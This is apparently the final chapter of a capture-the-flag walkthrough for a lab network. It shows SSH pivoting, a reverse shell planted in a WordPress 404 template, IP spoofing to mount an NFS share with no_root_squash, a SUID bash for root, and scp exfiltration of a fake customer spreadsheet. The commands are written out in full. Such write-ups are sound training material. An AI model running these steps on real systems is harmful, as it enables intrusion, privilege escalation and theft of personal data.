# Chapter III

## Quick Recap - Perequisites

So far we:

* Compromised the mail server and established SSH access as `root`,
* Compromised the web server and established SSH access as `root` and
* Found credentials for `http://wiki.allendevent.com:54321` (10.0.10.30)
  * `admin:Kn33sW34kM0ms5paghett1`

The goal is to get access to sensitive data and we have reason to believe that they might be stored on the internal server (see email from James Hernandez to Larry Obrien). Thus, our next step will be to enumerate that server.

## Wiki Server Enumeration

I'll leave it to you to conduct extensive enumeration. Feel free to use living-off-the-land techniques, pivoting, precompiled binaries or a combination of all of them. Regardless, I'll assume that you managed to identify the open port 54321 on `10.0.10.30`. Currently, there are no CVEs for any of the running services, so I'll cut right to the next step.

## Pivoting

In order to leverage the found credentials, we want to connect to the internal wiki. We can achieve this by tunneling our traffic through one of the compromised dual-homed hosts. This is called pivoting. However, there are different sorts of and different tools for pivoting. Below you'll see a broad depiction of them.

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FvQRdjyrLtG9BcxNNIp1j%2Fpivotingbasics.png?alt=media&#x26;token=e18c6d3a-0b28-4846-9338-54334f7d4fab" alt=""><figcaption><p>One of my infographics - an overview of pivoting techniques</p></figcaption></figure>

In this walkthrough I'll concentrate on the most basic technique: port forwarding. As we can see in the picture, traffic from our Kali VM will be routed through the compromised host and into the internal network.

In our case, we want to forward port 54321 of our Kali machine to port 54321 on the internal machine. This way we can add `127.0.0.1` as `wiki.allendevent.com` in our `/etc/hosts` and browse it as if we were on the internal network.

Here's how we do it with SSH.

```bash
# on Kali
ssh -i root_web root@allendevent.com -L 54321:10.0.10.30:54321
```

After you run the command, port 54321 on Kali will be forwarded to `10.0.10.30`. SSH will also open the normal shell on `allendevent.com`. If you don't want that, you can add `-fN` to the command, but remember to kill the SSH proccess manually when you're done pivoting.

{% hint style="info" %}
If you want to learn more about port forwarding with SSH, I can recommend checking out [these inforgraphics](https://ccat.gitbook.io/cyber-sec/infographics#ssh-local-port-forwarding).
{% endhint %}

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FnDnb7pCtgj1pZz1uXAY4%2FAEE-internalwiki.png?alt=media&#x26;token=2a11dcf0-d01c-40bd-9344-88022e3b6d3f" alt=""><figcaption><p>Using SSH local port forwarding to access the internal wiki</p></figcaption></figure>

In the bottom right we can see that it's still in development, which might explain the weird port.

Using a browser extension like [Wappalyzer](https://www.wappalyzer.com/), inspecting the source code or simply scrolling to the bottom reveals that this is another WordPress installation. A quick google search yields the login location: `wp-login.php`. Let's navigate to `http://wiki.allendevent.com:54321/wp-login.php` and use the credentials:

* User: `admin`
* Password: `Kn33sW34kM0ms5paghett1`

{% hint style="info" %}
You may take some time and read the few posts first, but you will realise that these only contain hints for the SuiteCRM version and FTP. This goes to show how more enumeration could've benefitted us earlier.
{% endhint %}

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2F6TkFaOMOthDS5vocOoFe%2FAEE-sucadminlogin.png?alt=media&#x26;token=e205f9a4-df29-4bcb-ae73-62c7daced6e9" alt=""><figcaption><p>Logging in to WordPress with <code>admin</code> credentials</p></figcaption></figure>

There we go, we made it to the admin account of WordPress. If we casually look at the options on the left side and expand some of them, you'll notice the theme editor. Specifically, the fact that we are allowed to edit `.php` files should spark interest.

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FPUh5PVAVwBws2XA9hnWn%2FAEE-themeditor.png?alt=media&#x26;token=708355d7-48d1-4222-9e3e-cd25b08c84ac" alt=""><figcaption><p>Editing the <code>404.php</code> theme file in WordPress</p></figcaption></figure>

WordPress perfectly demonstrates that there's not always the need for some elaborate exploit. Sometimes, intended functionality can be abused for our purposes. In this case, we are going to place the same reverse shell that we already used on the web server.

However, we can't just use `10.0.5.10` as the callback address. Since we are not in the internal network, the internal server would have no route back to us. So instead, we will use the IP `10.0.10.20` (internal address of the web server) for the listener. But we still want a shell on our machine, so we will use what's called a remote port forward. Contrary to the local port forward we did earlier, we open a port on a remote host and forward traffic from there back to us.

This might sound a bit confusing the first time, so I'll include my SSH infographic here:

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FRVGQbaFlLJIfcoIrAPJJ%2Fremote-port-forwarding.png?alt=media&#x26;token=3ae9f60b-b97c-402b-ad4b-ed64d44c85a8" alt=""><figcaption><p>This SSH infographic was published <a href="https://ccat.gitbook.io/cyber-sec/infographics#ssh-remote-port-forwarding">here</a></p></figcaption></figure>

Basically, we intend to achieve the following:

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FYMKM1oivZ4x2zRDgZfvb%2FAEE-pivotsketch.png?alt=media&#x26;token=e17124fa-8c8c-4a2e-8307-acda5206763b" alt=""><figcaption><p>Concept of how to use pivoting to catch a reverse shell</p></figcaption></figure>

Alright, enough theory. Here's what we need to do.

First of all, we must enable the option `GatewayPorts` in the SSH config on the web server. This will allow us to create a forward port that listens on the internal interface. We can use `vi` to edit `/etc/ssh/sshd_config`

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FBVhwelnCWdlCydRNIjqi%2FAEE-gwportyes.png?alt=media&#x26;token=becb0f8b-a21a-4023-aec2-cd44e38e7b4e" alt=""><figcaption><p>Enabling the <code>GatewayPorts</code> option</p></figcaption></figure>

Subsequently, we need to restart the SSH server with `systemctl restart sshd`. Careful, you might break your SSH access if the configuration contains errors.

Once we've done that, let's start both of our SSH forwards:

```bash
# on Kali
# local port forwarding
ssh -i root_web -L 54321:10.010.30:54321 root@allendevent.com
# Before running the remote port forward, we have to make sure that the
# firewall on the web server will allow a connection on that port.
# Therefore, we use the ssh command prompt to add a firewall rule.
> firewall-cmd --add-port=1234/tcp

# remote port forwarding
ssh -i root_web -R 1234:127.0.0.1:1337 root@allendevent.com
```

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2Fgw413gpik8nKxVZwoygF%2FAEE-doubleforward.png?alt=media&#x26;token=2789e56e-5f15-40da-b240-e18134bdd2fb" alt=""><figcaption><p>Setting up two SSH port forwards</p></figcaption></figure>

In addition to that, make sure to start a listener for the reverse shell.

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2F6LM8mESNGilpq6bH21pr%2FAEE-plistener.png?alt=media&#x26;token=19f181a1-dab7-4e1a-9f5b-2213051906e4" alt=""><figcaption><p>Starting a listener for the reverse shell</p></figcaption></figure>

Afterwards, check the configuration of the reverse shell payload.

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2F0wyIgTJq07FJghvbFFxg%2FAEE-revconfig.png?alt=media&#x26;token=6608ba6f-098e-46cd-97d3-79d4fbb0c9c4" alt=""><figcaption><p>Setting the IP and port of the reverse shell</p></figcaption></figure>

Let's copy the contents of the reverse shell into the `404.php` template.

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FeP9yVLlYlbDdn74BBNVE%2FAEE-uploadrev.png?alt=media&#x26;token=14b87ef3-87f2-4c1f-bc3a-599876bf7f2b" alt=""><figcaption><p>Saving the <code>404</code> template with the contents of the reverse shell</p></figcaption></figure>

Finally, we will trigger the reverse shell by visiting a wordpress page that does not exist, such as: `http://wiki.allendevent.com:54321/?p=999`.

{% hint style="info" %}
Note that `http://wiki.allendevent.com:54321/999` also does not exist. However, it wouldn't trigger the 404 template of WordPress. Instead, this error would be handled by the webserver (Apache) and you would not receive a shell.
{% endhint %}

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FhFQsYcMo3KtuQxuttpOs%2FAEE-recrev.png?alt=media&#x26;token=941b049b-7dde-494a-a56a-2d07bcae3d64" alt=""><figcaption><p>Receiving a reverse shell connection from the internal server</p></figcaption></figure>

{% hint style="success" %}
We successfully gained shell access to the internal server as the `apache` user.
{% endhint %}

## Privilege Escalation

Well, we've been here before. Let's look at the WordPress configuration file.

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FIXAcz3DbhCEmJxdSj4bM%2FAEE-fakeconfig.png?alt=media&#x26;token=ce185469-1630-48b0-822f-97c8ba8bfd47" alt=""><figcaption><p>Enumerating the stored credentials in config files</p></figcaption></figure>

Unfortunately, neither this nor the WordPress password work for the `root` account. That would've been too easy now, wouldn't it. Instead, let's continue **enumeration**.

During enumeration we notice quite a lot of open ports:

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FQiHEf3zYRYqbLgASJu5x%2FAEE-openportsintern.png?alt=media&#x26;token=83eddf00-f017-443c-9679-07f6bb87b4e3" alt=""><figcaption><p>Listing open ports on <code>wiki.allendevent.com</code></p></figcaption></figure>

54321 and 3306 belong to the web server and database respectively. Pretty much all the other ports are ephemeral ports which leaves 2049 and 111 - which belong to NFS and RPC. If you don't know what NFS is yet, I would suggest you read up on what it does, where its configuration files might be and maybe how to abuse it.

The attentive reader will have noticed that we previously found a reference to an NFS setup guide:

{% embed url="<https://dev.to/prajwalmithun/setup-nfs-server-client-in-linux-and-unix-27id>" %}
Setup guide for NFS from the browser history we found on the web server
{% endembed %}

This guide describes how to setup and configure a network share. More interestingly, it demonstrates an insecure option: `no_root_squash`. Let's check how much of that guide was copied  by our IT administrator. The share configuration is in `/etc/exports`.

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FVV4GHWGXn2iy42kWpkm5%2FAEE-etcexports.png?alt=media&#x26;token=39338986-73ca-402b-8e11-ecae59732b73" alt=""><figcaption><p>Displaying the NFS share configuration</p></figcaption></figure>

There it is. If we did not have a clue what the option does, then a Google search for "nfs no\_root\_squash" yields the following link as the second result:

{% embed url="<https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/4/html/security_guide/s2-server-nfs-noroot>" %}
Why you shouldn't use `no_root_squash`
{% endembed %}

Again, no fancy exploit - just basic behaviour. However, the configuration allows NFS access only for `10.0.10.40`. Several tutorials explain how to exploit `no_root_squash` but they all require write access to the share.

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe>" %}
Example for `no_root_squash` exploitation steps
{% endembed %}

Though we do not have access to `10.0.10.40`, we do have `root` access to a server on the same network. Since we're `root`, we can pretend to be `10.0.10.40` by simply changing the IP.

<pre class="language-bash"><code class="lang-bash"><strong># on the web server
</strong><strong># add a new IP to the internal interface
</strong>ip addr add 10.0.10.40/24 dev enp0s8

# delete the previous IP on the internal interface
ip addr del 10.0.10.20/24 dev enpos8
</code></pre>

{% hint style="warning" %}
Bear in mind that this will destroy our reverse shell connection. To re-establish it, we will have to update the reverse shell in WordPress to reflect the new IP address: `10.0.10.40`.

1. Reload `http://wiki.allendevent.com:54321/?p=999`
2. Restart the listener
3. Update the IP in the 404 template
   {% endhint %}

Now let's mount the exposed NFS share to a temporary directory on the web server.

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FzX8pOclUmN9jet6p1HoH%2FAEE-mounting.png?alt=media&#x26;token=e72bb368-ba30-457b-aa04-b1d2842af108" alt=""><figcaption><p>Spoofing the IP in order to <code>mount</code> the exposed internal share</p></figcaption></figure>

No sensitive customer data yet, but we're very close. Exploit tutorials usually suggest to upload `bash` to the share. However, since the `bash` of our attack VM may not be compatible with the target OS, I'll demonstrate how to use the `/bin/bash` binary from the target.

First, we create a writeable directory in the mounted share.&#x20;

```bash
# on the web server 
# within the mounted NFS share
mkdir extraction
chmod 777 extraction
```

Subsequently, we copy the original `/bin/bash` on the internal server to the writeable share.

```bash
# on the internal server (using the reverse shell)
cd /var/nfs_share/extraction
cp /bin/bash ./
```

Then we modify the `bash` binary to be owned by `root` and add the `SUID` bit.

```bash
# on the web server
cd extraction
chown root:root ./bash # change the owner to root
chmod 4777 ./bash # adding the SUID bit
```

Finally, we execute `bash` with the `-p` option. The SUID bit will allow the binary to be run with effective `root` privileges and the `-p` flag will prevent the privileges to be reset.

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2F2SFLitLfRPTKEuDODPj9%2FAEE-finalroot.png?alt=media&#x26;token=f2b21cf0-e13b-466f-a2e8-5a1773c46aed" alt=""><figcaption><p>Getting effective <code>root</code> access via exploitation of an NFS share misconfiguration</p></figcaption></figure>

{% hint style="success" %}
At last, we gained `root` access on the internal server - great success!
{% endhint %}

## Final Enumeration

We got `root`, but what about the sensitive data that we are supposed to exfiltrate?

This should be the easiest enumeration of them all.

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FSLLCGfNvIMgoikyeBBYa%2FAEE-customerdata.png?alt=media&#x26;token=5fa4c1ad-0ae0-4eb1-b14e-3027a6e1decb" alt=""><figcaption><p>Sensitive data stored in a spreadsheet</p></figcaption></figure>

Convenient. Let's move it to the NFS share and then copy it from the web server to Kali via `scp`.

```bash
# on the internal server
cp customers.xlsx /var/nfs_share
# on Kali
scp -i root_web root@allendevent.com:/root/mnt/customers.xlsx ./
```

&#x20;One final look.

<figure><img src="https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2F0mZFsMW3XjIVBm6gipmr%2FAEE-sensitivedataextracted.png?alt=media&#x26;token=173d6258-b958-4a6e-bd67-af4dad3085e6" alt=""><figcaption><p>Opening <code>customers.xlsx</code> in Libre Office</p></figcaption></figure>

{% hint style="info" %}
All displayed data is fake and was automatically generated.
{% endhint %}

870 rows of names, credit card numbers, phone numbers and more. This should classify as sensitive. Let's contact Larry Obrien - the manager - and tell him that the engagement is over.

## Outro

This concludes our journey through the **AllEndEvent** network. I hope you had as much fun playing the challenge as I had developing it.&#x20;

Of course you don't have to stop here though. Trying to write a report based solely on your notes may prove to be a very interesting challenge and would show how good your note-taking skills really are. Alternatively, try different pivoting techniques or other exploits like the SQL injection we saw on the second server. Just because a CVE is not an RCE or has a high rating it doesn't mean we should leave it out of the report.

If you made it this far, thank you very much for reading. If you got any feedback, feel free to hit me up on discord or smash one of those smiley faces at the bottom.
